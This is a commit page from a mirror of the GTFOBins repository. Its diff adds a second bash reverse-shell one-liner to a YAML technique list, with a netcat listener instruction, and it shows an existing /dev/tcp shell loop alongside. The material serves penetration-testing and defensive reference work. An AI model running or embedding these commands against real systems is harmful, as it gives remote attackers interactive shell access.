mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-04-16 20:03:54 +02:00
Add another bash reverse shell
This commit is contained in:
parent
fad8425624
commit
028a202891
@ -35,6 +35,10 @@ functions:
|
|||||||
reverse-shell:
|
reverse-shell:
|
||||||
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
|
RHOST=10.0.0.1
|
||||||
|
RPORT=8000
|
||||||
|
bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1
|
||||||
|
- code: |
|
||||||
RHOST=10.0.0.1
|
RHOST=10.0.0.1
|
||||||
RPORT=8000
|
RPORT=8000
|
||||||
exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT; while read line 0<&5; do $line 2>&5 >&5; done
|
exec 5<&-;exec 5<>/dev/tcp/$RHOST/$RPORT; while read line 0<&5; do $line 2>&5 >&5; done
|
||||||
|
Loading…
x
Reference in New Issue
Block a user